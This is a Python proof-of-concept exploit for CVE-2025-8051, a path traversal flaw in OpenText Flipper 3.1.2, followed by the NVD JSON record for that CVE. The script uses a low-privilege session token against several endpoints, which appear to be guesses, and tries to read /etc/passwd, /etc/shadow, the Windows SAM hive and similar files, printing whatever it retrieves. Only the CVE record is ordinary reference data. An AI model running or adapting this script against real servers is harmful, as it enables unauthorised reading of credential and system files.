CVE-2025-8051

# CVE-2025-8051 - OpenText Flipper Path Traversal PoC # Vulnerability: Absolute Path Traversal in Flipper 3.1.2 # Description: Allows authenticated low-privilege users to read arbitrary files on the server import requests # Target configuration TARGET_URL = "http://target-flipper-server:port" AUTH_TOKEN = "session_cookie_or_token_here" # Low-privilege user credentials required # Files to attempt to read via path traversal TARGET_FILES = [ "/etc/passwd", # Linux user accounts "/etc/shadow", # Linux password hashes "C:/Windows/system32/config/SAM", # Windows SAM database "C:/Windows/win.ini", # Windows configuration "../../../../etc/passwd", # Relative path traversal "../../../../../../etc/hosts", # Hosts file via traversal "file:///etc/passwd", # File protocol attempt ] def exploit_path_traversal(target_url, auth_token, file_path): """ Attempt to exploit the path traversal vulnerability by requesting a file using an absolute or relative path. """ # Common vulnerable endpoints in Flipper endpoints = [ f"{target_url}/api/v1/files?path={file_path}", f"{target_url}/flipper/download?file={file_path}", f"{target_url}/document/view?path={file_path}", f"{target_url}/resource?path={file_path}", ] headers = { "Authorization": f"Bearer {auth_token}", "Cookie": f"JSESSIONID={auth_token}", "Content-Type": "application/json" } for endpoint in endpoints: try: response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[+] SUCCESS - File accessed via: {endpoint}") print(f"[+] Content preview: {response.text[:500]}") return response.text except requests.exceptions.RequestException as e: continue return None # Main execution if __name__ == "__main__": print("[*] CVE-2025-8051 - OpenText Flipper Path Traversal Exploit") print("[*] Target:", TARGET_URL) print("-" * 60) for target_file in TARGET_FILES: print(f"\n[*] Attempting to read: {target_file}") result = exploit_path_traversal(TARGET_URL, AUTH_TOKEN, target_file) if result: print(f"[+] File content retrieved successfully!") break else: print(f"[-] Failed to read file") print("\n[*] Exploit completed")

{"cve": {"id": "CVE-2025-8051", "sourceIdentifier": "[email protected]", "published": "2025-10-20T20:15:38.360", "lastModified": "2025-10-28T16:14:35.167", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Path Traversal vulnerability in opentext Flipper allows Absolute Path Traversal. \n\nThe vulnerability could allow a user to access files hosted on the server.\n\nThis issue affects Flipper: 3.1.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:P/AU:Y/R:U/V:D/RE:M/U:Green", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "PRESENT", "Automatable": "YES", "Recovery": "USER", "valueDensity": "DIFFUSE", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "GREEN"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-35"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opentext:flipper:3.1.2:*:*:*:*:*:*:*", "matchCriteriaId": "9E0F3913-F439-4C0A-82C8-AAEEEEBED8FD"}]}]}], "references": [{"url": "https://support.opentext.com/csm?id=ot_kb_unauthenticated&sysparm_article=KB0850527", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}